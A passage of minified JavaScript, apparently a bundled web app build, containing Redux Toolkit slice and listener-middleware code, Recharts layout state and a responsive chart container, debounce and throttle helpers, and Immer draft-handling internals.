n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function FO(e){return typeof e=="function"}function WO(e,t){let[n,r,i]=rk(t),s;if(FO(e))s=()=>Py(e());else{const l=Py(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return QN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var UO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",VO=(e=21)=>{let t="",n=e;for(;n--;)t+=UO[Math.random()*64|0];return t},HO=Symbol.for("rtk-slice-createasyncthunk");function KO(e,t){return`${e}/${t}`}function GO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[HO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(qO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const k=typeof j=="string"?j:j.type;if(!k)throw new Error(mn(12));if(k in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[k]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],k={reducerName:j,type:KO(s,j),createNotation:typeof i.reducers=="function"};ZO(N)?JO(k,N,d,t):XO(k,N,d)});function f(){const[j={},N=[],k=void 0]=typeof i.extraReducers=="function"?rk(i.extraReducers):[i.extraReducers],z={...j,...u.sliceCaseReducersByType};return WO(i.initialState,S=>{for(let O in z)S.addCase(O,z[O]);for(let O of u.sliceMatchers)S.addMatcher(O.matcher,O.reducer);for(let O of N)S.addMatcher(O.matcher,O.reducer);k&&S.addDefaultCase(k)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function k(S){let O=S[j];return typeof O>"u"&&N&&(O=Hl(x,k,v)),O}function z(S=p){const O=Hl(h,N,()=>new WeakMap);return Hl(O,S,()=>{const A={};for(const[T,P]of Object.entries(i.selectors??{}))A[T]=YO(P,S,()=>Hl(x,S,v),N);return A})}return{reducerPath:j,getSelectors:z,get selectors(){return z(k)},selectSlice:k}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...k}={}){const z=N??o;return j.inject({reducerPath:z,reducer:y},k),{...w,...b(z,!0)}}};return w}}function YO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=GO();function qO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function XO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!QO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function ZO(e){return e._reducerDefinitionType==="asyncThunk"}function QO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function JO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Kl,pending:l||Kl,rejected:c||Kl,settled:u||Kl})}function Kl(){}var eT="task",ik="listener",ak="completed",Qx="cancelled",tT=`task-${Qx}`,nT=`task-${ak}`,Xp=`${ik}-${Qx}`,rT=`${ik}-${ak}`,Id=class{constructor(e){Pf(this,"name","TaskAbortError");Pf(this,"message");this.code=e,this.message=`${eT} ${Qx} (reason: ${e})`}},Jx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},pu=()=>{},sk=(e,t=pu)=>(e.catch(t),e),ok=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Id(e.reason)};function lk(e,t){let n=pu;return new Promise((r,i)=>{const s=()=>i(new Id(e.reason));if(e.aborted){s();return}n=ok(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=pu})}var iT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Id?"cancelled":"rejected",error:n}}finally{t==null||t()}},hu=e=>t=>sk(lk(e,t).then(n=>(Ji(e),n))),ck=e=>{const t=hu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Za}=Object,_y={},Dd="listenerMiddleware",aT=(e,t)=>{const n=r=>ok(e,()=>r.abort(e.reason));return(r,i)=>{Jx(r);const s=new AbortController;n(s);const o=iT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:hu(s.signal),delay:ck(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(nT));return i!=null&&i.autoJoin&&t.push(o.catch(pu)),{result:hu(e)(o),cancel(){s.abort(tT)}}}},sT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await lk(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>sk(n(r,i))},uk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Jx(s),{predicate:i,type:t,effect:s}},dk=Za(e=>{const{type:t,predicate:n,effect:r}=uk(e);return{id:VO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>dk}),Ay=(e,t)=>{const{type:n,effect:r,predicate:i}=uk(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Zp=e=>{e.pending.forEach(t=>{t.abort(Xp)})},oT=(e,t)=>()=>{for(const n of t.keys())Zp(n);e.clear()},Oy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},fk=Za(On(`${Dd}/add`),{withTypes:()=>fk}),lT=On(`${Dd}/removeAll`),mk=Za(On(`${Dd}/remove`),{withTypes:()=>mk}),cT=(...e)=>{console.error(`${Dd}/error`,...e)},ll=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=cT}=e;Jx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Zp(h)}),c=h=>{const x=Ay(t,h)??dk(h);return l(x)};Za(c,{withTypes:()=>c});const u=h=>{const x=Ay(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Zp(x)),!!x};Za(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=sT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Za({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:ck(v.signal),pause:hu(v.signal),extra:s,signal:v.signal,fork:aT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,k)=>{j!==v&&(j.abort(Xp),k.delete(j))})},cancel:()=>{v.abort(Xp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Id||Oy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(rT),i(h),h.pending.delete(v)}},f=oT(t,n);return{middleware:h=>x=>g=>{if(!WN(g))return x(g);if(fk.match(g))return c(g.payload);if(lT.match(g)){f();return}if(mk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===_y)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let k=!1;try{k=N.predicate(g,w,y)}catch(z){k=!1,Oy(o,z,{raisedBy:"predicate"})}k&&d(N,g,h,v)}}}finally{y=_y}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var uT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},pk=nn({name:"chartLayout",initialState:uT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:dT,setLayout:fT,setChartSize:mT,setScale:pT}=pk.actions,hT=pk.reducer;function hk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Ty(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Wa(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Ty(Object(n),!0).forEach(function(r){xT(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ty(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function xT(e,t,n){return(t=vT(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function vT(e){var t=gT(e,"string");return typeof t=="symbol"?t:t+""}function gT(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Ve(e,t,n){return Mt(e)||Mt(t)?n:Lr(t)?Ro(e,t,n):typeof t=="function"?t(e):n}var yT=(e,t,n)=>{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Wa(Wa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Wa(Wa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",bT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i<r;++i)for(var s=0,o=0,l=0;l<n;++l){var c=e[l],u=c==null?void 0:c[i];if(u!=null){var d=u[1],f=u[0],p=mr(d)?f:d;p>=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},wT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i<r;++i)for(var s=0,o=0;o<n;++o){var l=e[o],c=l==null?void 0:l[i];if(c!=null){var u=mr(c[1])?c[0]:c[1];u>=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},jT={sign:bT,expand:uA,none:ua,silhouette:dA,wiggle:fA,positive:wT},NT=(e,t,n)=>{var r,i=(r=jT[n])!==null&&r!==void 0?r:ua,s=cA().keys(t).value((l,c)=>Number(Ve(l,c,0))).order(Bp).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function kT(e){return e==null?void 0:String(e)}function My(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=oN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var zT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},ST=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],CT=(e,t,n)=>{if(e!=null)return ST(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=hk(u,t,n),f=zT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},Ly=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Iy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,xu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Pd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o<l;o++){var c=i[o],u=i[o-1];s=Math.min(((c==null?void 0:c.coordinate)||0)-((u==null?void 0:u.coordinate)||0),s)}return s===1/0?0:s}return n?void 0:0};function Dy(e){var{tooltipEntrySettings:t,dataKey:n,payload:r,value:i,name:s}=e;return Wa(Wa({},t),{},{dataKey:n,payload:r,value:i,name:s})}function Rd(e,t){if(e)return String(e);if(typeof t=="string")return t}var PT=(e,t)=>{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ET=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,_T=e=>e.layout.scale,xk=e=>e.layout.margin,$d=I(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Bd=I(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),vk="data-recharts-item-index",gk="data-recharts-item-id",cl=60;function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gl(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Ry(Object(n),!0).forEach(function(r){AT(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ry(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function AT(e,t,n){return(t=OT(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function OT(e){var t=TT(e,"string");return typeof t=="symbol"?t:t+""}function TT(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var MT=e=>e.brush.height;function LT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function IT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function DT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function RT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=I([Hr,Kr,xk,MT,LT,IT,DT,RT,$N,mO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Gl(Gl({},f),d),h=p.bottom;p.bottom+=r,p=yT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Gl(Gl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),$T=I(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));I(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var BT=m.createContext(null),Jn=()=>m.useContext(BT)!=null,Fd=e=>e.brush,Wd=I([Fd,kt,xk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),yk={},bk={},wk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(wk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=bk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(yk);var FT=yk.throttle;const WT=Wr(FT);var $y=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;s<r;s++)i[s-2]=arguments[s];if(typeof console<"u"&&console.warn&&(n===void 0&&console.warn("LogUtils requires an error message argument"),!t))if(n===void 0)console.warn("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var o=0;console.warn(n.replace(/%s/g,()=>i[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},jk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},UT={width:0,height:0,overflow:"visible"},VT={width:0,overflowX:"visible"},HT={height:0,overflowY:"visible"},KT={},GT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?UT:r?VT:i?HT:KT};function YT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Qp(){return Qp=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Qp.apply(null,arguments)}function By(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Fy(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?By(Object(n),!0).forEach(function(r){qT(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):By(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function qT(e,t,n){return(t=XT(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function XT(e){var t=ZT(e,"string");return typeof t=="symbol"?t:t+""}function ZT(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Nk=m.createContext(lr.initialDimension);function QT(e){return Si(e.width)&&Si(e.height)}function kk(e){var{children:t,width:n,height:r}=e,i=m.useMemo(()=>({width:n,height:r}),[n,r]);return QT(i)?m.createElement(Nk.Provider,{value:i},t):null}var e0=()=>m.useContext(Nk),JT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,O)=>{b(A=>{var T=Math.round(S),P=Math.round(O);return A.containerWidth===T&&A.containerHeight===P?A:{containerWidth:T,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return bs;var S=P=>{var D,G=P[0];if(G!=null){var{width:R,height:K}=G.contentRect;w(R,K),(D=y.current)===null||D===void 0||D.call(y,R,K)}};d>0&&(S=WT(S,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(S),{width:A,height:T}=g.current.getBoundingClientRect();return w(A,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;$y(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:k,calculatedHeight:z}=jk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return $y(k!=null&&k>0||z!=null&&z>0,`The width(%s) and height(%s) of chart should be greater than 0,
|
||
please check the style of container, or the props width(%s) and height(%s),
|
||
or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the
|
||
height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:Fy(Fy({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:GT({width:i,height:s})},m.createElement(kk,{width:k,height:z},u)))}),Wy=m.forwardRef((e,t)=>{var n=e0();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=YT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=jk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(kk,{width:s,height:o},e.children):m.createElement(JT,Qp({},e,{width:r,height:i,ref:t}))});function t0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ud=()=>{var e,t=Jn(),n=je($T),r=je(Wd),i=(e=je(Fd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},eM={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},tM=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:eM},nM=()=>je(Hr),rM=()=>je(Kr),De=e=>e.layout.layoutType,ws=()=>je(De),iM=()=>{var e=ws();if(e==="horizontal"||e==="vertical")return e},zk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},aM=()=>{var e=ws();return e!==void 0},ul=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=e0(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(mT({width:o,height:l}))},[t,n,o,l]),null},Sk=Symbol.for("immer-nothing"),Uy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Uo=Object.getPrototypeOf;function us(e){return!!e&&!!e[hn]}function ma(e){var t;return e?Ck(e)||Array.isArray(e)||!!e[Uy]||!!((t=e.constructor)!=null&&t[Uy])||dl(e)||Hd(e):!1}var sM=Object.prototype.constructor.toString(),Vy=new WeakMap;function Ck(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Vy.get(n);return r===void 0&&(r=Function.toString.call(n),Vy.set(n,r)),r===sM}function vu(e,t,n=!0){Vd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Vd(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:dl(e)?2:Hd(e)?3:0}function Jp(e,t){return Vd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function Pk(e,t,n){const r=Vd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function oM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function dl(e){return e instanceof Map}function Hd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function eh(e,t){if(dl(e))return new Map(e);if(Hd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Ck(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s<i.length;s++){const o=i[s],l=r[o];l.writable===!1&&(l.writable=!0,l.configurable=!0),(l.get||l.set)&&(r[o]={configurable:!0,writable:!0,enumerable:l.enumerable,value:e[o]})}return Object.create(Uo(e),r)}else{const r=Uo(e);if(r!==null&&n)return{...e};const i=Object.create(r);return Object.assign(i,e)}}function n0(e,t=!1){return Kd(e)||us(e)||!ma(e)||(Vd(e)>1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>n0(n,!0))),e}function lM(){Vn(2)}var Yl={value:lM};function Kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var cM={};function pa(e){const t=cM[e];return t||Vn(0,e),t}var Vo;function Ek(){return Vo}function uM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Hy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function th(e){nh(e),e.drafts_.forEach(dM),e.drafts_=null}function nh(e){e===Vo&&(Vo=e.parent_)}function Ky(e){return Vo=uM(Vo,e)}function dM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(th(t),Vn(4)),ma(e)&&(e=gu(t,e),t.parent_||yu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=gu(t,n,[]),th(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Sk?e:void 0}function gu(e,t,n){if(Kd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return vu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return yu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let 